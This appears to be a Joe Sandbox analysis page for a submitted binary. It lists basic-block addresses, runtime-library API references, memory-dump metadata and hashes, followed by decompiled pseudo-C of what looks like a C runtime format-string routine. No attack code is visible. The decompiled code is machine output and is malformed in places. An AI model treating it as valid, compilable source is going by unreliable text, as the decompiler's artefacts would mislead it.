0x00000000
0x00427444
0x00427447
0x0042744a
0x00000000
0x00000000
0x00427361
0x00427361
0x00427364
0x00427367
0x0042736a
0x00427382
0x00427385
0x00427385
0x00427388
0x0042736c
0x0042736f
0x00427372
0x00427378
0x0042737d
0x0042737d
0x00000000
0x00000000
0x0042744f
0x0042744f
0x00427452
0x00427452
0x00427457
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042745f
0x0042745f
0x00427466
0x00427472
0x00427475
0x0042747b
0x00427482
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427ca3
0x00427488
0x0042748e
0x0042748e
0x00427495
0x00000000
0x004277ef
0x004277ef
0x004277f6
0x004277fd
0x004277fd
0x00427800
0x00000000
0x00000000
0x0042749c
0x0042749f
0x0042749f
0x004274a5
0x004274a7
0x004274aa
0x004274aa
0x004274af
0x004274af
0x00000000
0x00000000
0x004275dc
0x004275df
0x004275df
0x004275e4
0x004275e6
0x004275e9
0x004275e9
0x004275ef
0x004275ef
0x00000000
0x00000000
0x004279bc
0x004279bc
0x00000000
0x00000000
0x00427546
0x00427546
0x00427552
0x00427558
0x0042755f
0x0042756d
0x0042756d
0x00427573
0x00427576
0x00427582
0x004275d7
0x00000000
0x004275d7
0x00427561
0x00427561
0x00427567
0x0042756b
0x00427587
0x0042758a
0x0042758a
0x00427590
0x004275b8
0x004275bf
0x004275c5
0x004275c8
0x004275cb
0x004275d1
0x004275d4
0x00427592
0x00427592
0x00427598
0x0042759b
0x0042759e
0x004275a4
0x004275a7
0x004275aa
0x004275ac
0x004275af
0x004275af
0x00000000
0x00427590
0x00000000
0x00000000
0x00427806
0x00427809
0x0042780c
0x0042780f
0x00427815
0x00427818
0x0042781f
0x00427823
0x0042782e
0x0042782e
0x00427832
0x00427849
0x00427849
0x00427850
0x00427852
0x00427852
0x00427859
0x00427859
0x00427860
0x00427871
0x00427880
0x00427883
0x00427887
0x0042789d
0x00427889
0x00427889
0x0042788c
0x00427892
0x00427898
0x00427898
0x00427887
0x004278a7
0x004278aa
0x004278ad
0x004278b0
0x004278b0
0x004278b3
0x004278b3
0x004278b6
0x004278bc
0x004278c2
0x004278ca
0x004278cb
0x004278ce
0x004278cf
0x004278d2
0x004278d3
0x004278da
0x004278db
0x004278de
0x004278df
0x004278e2
0x004278e3
0x004278e9
0x004278ea
0x004278f8
0x004278fa
0x00427900
0x00427900
0x00427906
0x00427908
0x0042790c
0x0042790e
0x00427916
0x00427917
0x0042791a
0x0042791b
0x00427929
0x0042792b
0x0042792b
0x0042790c
0x0042792e
0x00427935
0x00427938
0x0042793d
0x0042793d
0x00427943
0x00427945
0x0042794d
0x0042794e
0x00427951
0x00427952
0x00427961
0x00427963
0x00427963
0x00427943
0x00427966
0x00427969
0x0042796c
0x0042796f
0x00427974
0x0042797a
0x0042797d
0x00427980
0x00427980
0x00427983
0x00427983
0x00427986
0x00427992
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00000000
0x00427ca3
0x00427834
0x00427834
0x0042783b
0x0042783e
0x00000000
0x00000000
0x00427840
0x00427840
0x00000000
0x00427840
0x00427825
0x00427825
0x00000000
0x00000000
0x004274b2
0x004274b5
0x004274b5
0x004274bb
0x00427512
0x00427516
0x0042751e
0x00427525
0x0042752b
0x00427531
0x00427538
0x00427538
0x0042753e
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427ca3
0x004274bd
0x004274bd
0x004274c7
0x004274cb
0x004274d3
0x004274da
0x004274e7
0x004274ee
0x004274fa
0x00427500
0x00427507
0x00427509
0x00427509
0x00427510
0x00000000
0x00000000
0x0042799a
0x0042799d
0x004279a0
0x004279a3
0x00000000
0x00000000
0x004276f8
0x004276f8
0x00427704
0x0042770a
0x0042770f
0x00427711
0x004277bb
0x004277be
0x004277be
0x004277c1
0x004277d5
0x004277db
0x004277e1
0x004277c3
0x004277c3
0x004277d0
0x004277d0
0x004277e3
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427ca3
0x00427717
0x00427717
0x00427717
0x00427719
0x00427727
0x0042771b
0x0042771b
0x0042771b
0x00427731
0x00427737
0x0042773d
0x00427744
0x00427746
0x0042774b
0x0042774d
0x00427752
0x00427757
0x00427759
0x0042775e
0x00427761
0x00427764
0x00427766
0x00427766
0x00427764
0x00427767
0x0042776e
0x004277b6
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427770
0x00427770
0x00427775
0x00427791
0x00427799
0x004277a3
0x004277a6
0x004277ab
0x00427ec8
0x00427ed5
0x00427ed5
0x00000000
0x004279fd
0x004279fd
0x00427a07
0x00427a07
0x00427a0d
0x00427a0f
0x00427a12
0x00427a12
0x00427a18
0x00427a18
0x00427a1b
0x00427a1e
0x00427a1e
0x00427a23
0x00427a45
0x00427a45
0x00427a4b
0x00427a6d
0x00427a6d
0x00427a70
0x00427ab7
0x00427ab7
0x00427aba
0x00427ad7
0x00427adb
0x00427ae3
0x00427ae3
0x00427ae5
0x00427aeb
0x00427abc
0x00427abc
0x00427ac0
0x00427ac8
0x00427ac9
0x00427acf
0x00427acf
0x00427a72
0x00427a75
0x00427a75
0x00427a78
0x00427a96
0x00427aa2
0x00427aa5
0x00427aa6
0x00427aac
0x00427a7a
0x00427a7a
0x00427a7e
0x00427a86
0x00427a87
0x00427a88
0x00427a8e
0x00427a8e
0x00427ab2
0x00427a4d
0x00427a4d
0x00427a59
0x00427a5f
0x00427a5f
0x00427a25
0x00427a25
0x00427a31
0x00427a37
0x00427a37
0x00427af4
0x00427af4
0x00427af7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004275f2
0x004275f2
0x004275f6
0x00427604
0x00427607
0x004275f8
0x004275f8
0x004275f8
0x0042760d
0x00427613
0x00427619
0x00427625
0x0042762b
0x0042762b
0x00427631
0x00427698
0x00427698
0x0042769c
0x0042769e
0x004276a4
0x004276a4
0x004276a7
0x004276aa
0x004276b0
0x004276b0
0x004276b0
0x004276bc
0x004276bf
0x004276c5
0x004276c7
0x00000000
0x00000000
0x004276c9
0x004276c9
0x004276cf
0x004276d2
0x004276d4
0x00000000
0x00000000
0x004276d6
0x004276dc
0x004276df
0x004276df
0x004276e7
0x004276e7
0x004276ed
0x004276ed
0x004276f0
0x00000000
0x00427633
0x00427633
0x00427633
0x00427637
0x00427639
0x0042763e
0x0042763e
0x00427641
0x00427648
0x0042764b
0x00427651
0x00427651
0x00427651
0x0042765d
0x00427660
0x00427666
0x00427668
0x00000000
0x00000000
0x0042766a
0x0042766a
0x00427670
0x00427673
0x00427675
0x00000000
0x00000000
0x00427677
0x0042767d
0x00427680
0x00427680
0x00427688
0x0042768e
0x00427691
0x00427693
0x004276f3
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00427ca3
0x00000000
0x004279ac
0x004279ac
0x00427a1b
0x00427a1b
0x00427a1e
0x00427a1e
0x00427a23
0x00427a45
0x00427a45
0x00427a4b
0x00427a6d
0x00427a6d
0x00427a70
0x00427ab7
0x00427ab7
0x00427aba
0x00427ad7
0x00427adb
0x00427ae3
0x00427ae3
0x00427ae5
0x00427aeb
0x00427abc
0x00427abc
0x00427ac0
0x00427ac8
0x00427ac9
0x00427acf
0x00427acf
0x00427a72
0x00427a75
0x00427a75
0x00427a78
0x00427a96
0x00427aa2
0x00427aa5
0x00427aa6
0x00427aac
0x00427a7a
0x00427a7a
0x00427a7e
0x00427a86
0x00427a87
0x00427a88
0x00427a8e
0x00427a8e
0x00427ab2
0x00427a4d
0x00427a4d
0x00427a59
0x00427a5f
0x00427a5f
0x00427a25
0x00427a25
0x00427a31
0x00427a37
0x00427a37
0x00427af4
0x00427af4
0x00427af7
0x00000000
0x00000000
0x00000000
0x00427af7
0x00000000
0x004279c8
0x004279c8
0x004279d2
0x004279d2
0x004279dc
0x004279dc
0x004279e2
0x004279e4
0x004279ee
0x004279ee
0x004279f1
0x004279f4
0x004279f4
0x00427a1b
0x00427a1b
0x00427a1e
0x00427a1e
0x00427a23
0x00427a45
0x00427a45
0x00427a4b
0x00427a6d
0x00427a6d
0x00427a70
0x00427ab7
0x00427ab7
0x00427aba
0x00427ad7
0x00427adb
0x00427ae3
0x00427ae3
0x00427ae5
0x00427aeb
0x00427abc
0x00427abc
0x00427ac0
0x00427ac8
0x00427ac9
0x00427acf
0x00427acf
0x00427a72
0x00427a75
0x00427a75
0x00427a78
0x00427a96
0x00427aa2
0x00427aa5
0x00427aa6
0x00427aac
0x00427a7a
0x00427a7a
0x00427a7e
0x00427a86
0x00427a87
0x00427a88
0x00427a8e
0x00427a8e
0x00427ab2
0x00427a4d
0x00427a4d
0x00427a59
0x00427a5f
0x00427a5f
0x00427a25
0x00427a25
0x00427a31
0x00427a37
0x00427a37
0x00427af4
0x00427af4
0x00427af7
0x00000000
0x00000000
0x00000000
0x00427af7
0x00000000
0x00427ca3
0x00427ca3
0x00427ca3
0x00427ca7
0x00000000
0x00000000
0x00000000
0x00427ca7
0x00000000
0x00000000
0x00427262
0x00427265
0x00427268
0x00000000
0x00000000
0x0042726d
0x00427270
0x00427275
0x00000000
0x00000000
0x00427257
0x00427257
0x0042725a
0x0042725d
0x00000000
0x00000000
0x0042724c
0x0042724f
0x00427252
0x00000000
0x00000000
0x0042727a
0x0042727a
0x0042727d
0x0042727d
0x00427280
0x00000000
0x00000000
0x00427283
0x00000000
0x00000000
0x004270dd
0x00427eae
0x00427eb4
0x00427ebd
0x00427ec2
0x00000000
0x00427ec2
0x00427ca3
0x00427c7a
0x00427c7a
0x00427c7e
0x00427c8b
0x00427c8e
0x00427c91
0x00427c94
0x00427c97
0x00427c9a
0x00427c9d
0x00427c9d
0x00427ca0
0x00000000
0x00427ca0
0x00427c80
0x00427c80
0x00427c83
0x00427c86
0x00427c89
0x00000000
0x00000000
0x00000000
0x00427c89
0x00427be2
0x00427be2
0x00427be5
0x00427be8
0x00427bef
0x00427bf6
0x00427bfe
0x00427c04
0x00427c07
0x00427c0a
0x00427c11
0x00427c1d
0x00427c23
0x00427c29
0x00427c30
0x00427c32
0x00427c38
0x00427c38
0x00427c3e
0x00427c3e
0x00427c44
0x00427c47
0x00427c4d
0x00427c52
0x00427c55
0x00427bc4
0x00427bc4
0x00427bca
0x00427bcd
0x00427bd0
0x00427bd2
0x00000000
0x00000000
0x00000000
0x00427bd2
0x00427bc4
0x00427b04
0x00427b04
0x00427b0b
0x00000000
0x00000000
0x00000000
0x00427b39
0x00427b39
0x00427b3f
0x00427b45
0x00427b4b
0x00000000
0x00427b4b
0x00427a1b
0x004279d2
0x004279bc

APIs

_get_int64_arg.LIBCMTD ref: 00427A29
__aullrem.LIBCMT ref: 00427BF6
__aulldiv.LIBCMT ref: 00427C18

Strings

0, xrefs: 004279E4
9, xrefs: 00427C29

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: c95c1c97fcdc506e330ee6b5850d880ca2d4116ecbab7ddb9671f8247ded9fd2
Instruction ID: 2bcb250980278955b5d34f8f56558119e91fceb368ca3f85508d71ffad494ef3
Opcode Fuzzy Hash: c95c1c97fcdc506e330ee6b5850d880ca2d4116ecbab7ddb9671f8247ded9fd2
Instruction Fuzzy Hash: 044116B1E09229DFDB64CF58D989BAEBBB4BB44304F5041DAD449A7241C738AE81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C039, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C039(void* __ebx, void* __edi, void* __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				void* _t501;
				signed int _t519;
				void* _t523;
				void* _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *((intOrPtr*)(_t525 - 0x460)) = 0x27;
					while(1) {
						L145:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L150:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428150(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428150(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428150(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00428170(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L167;
							}
							L163:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L167;
							}
							L164:
							if(__eflags < 0) {
								L166:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L168:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									L179:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L183:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L212;
												}
												L188:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E0043C760(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E0043C7A0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043C760(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) != 0) {
													L208:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E0043C7A0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L209;
												} else {
													L201:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L208;
													}
													L202:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L203:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L204:
														__ecx = __ebp - 0x40;
														__eax = E0041AAD0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AAD0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E0043B200(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L206:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E0043C700( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L205:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E0043C760(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L212:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L0041C1C0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
													_t502 =  *(_t525 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
													if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
														break;
													} else {
														if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t525 - 0x4d8) = 0;
														} else {
															 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
														}
													}
													L7:
													 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
													_t519 =  *(_t525 - 0x450) * 9;
													_t490 =  *(_t525 - 0x45c);
													_t510 = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
													 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
													if( *(_t525 - 0x45c) != 8) {
														L16:
														 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
														__eflags =  *(_t525 - 0x4e0) - 7;
														if( *(_t525 - 0x4e0) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043C5F4))) {
															case 0:
																L18:
																 *(_t525 - 0xc) = 1;
																E0043C700( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																_t527 = _t527 + 0xc;
																goto L214;
															case 1:
																L19:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L214;
															case 2:
																L20:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e4) = __ecx;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																__eflags =  *(__ebp - 0x4e4) - 0x10;
																if( *(__ebp - 0x4e4) > 0x10) {
																	goto L27;
																}
																L21:
																_t57 =  *(__ebp - 0x4e4) + 0x43c62c; // 0x498d04
																__ecx =  *_t57 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043C614))) {
																	case 0:
																		goto L24;
																	case 1:
																		goto L25;
																	case 2:
																		goto L23;
																	case 3:
																		goto L22;
																	case 4:
																		goto L26;
																	case 5:
																		goto L27;
																}
															case 3:
																L28:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t81;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L33:
																goto L214;
															case 4:
																L34:
																 *(__ebp - 0x30) = 0;
																goto L214;
															case 5:
																L35:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t92;
																	 *(__ebp - 0x30) = __ecx + _t92;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L214;
															case 6:
																L41:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e8) = __ecx;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																__eflags =  *(__ebp - 0x4e8) - 0x2e;
																if( *(__ebp - 0x4e8) > 0x2e) {
																	L64:
																	goto L214;
																}
																L42:
																_t100 =  *(__ebp - 0x4e8) + 0x43c654; // 0xbe619003
																__ecx =  *_t100 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043C640))) {
																	case 0:
																		L47:
																		__ecx =  *(__ebp + 0xc);
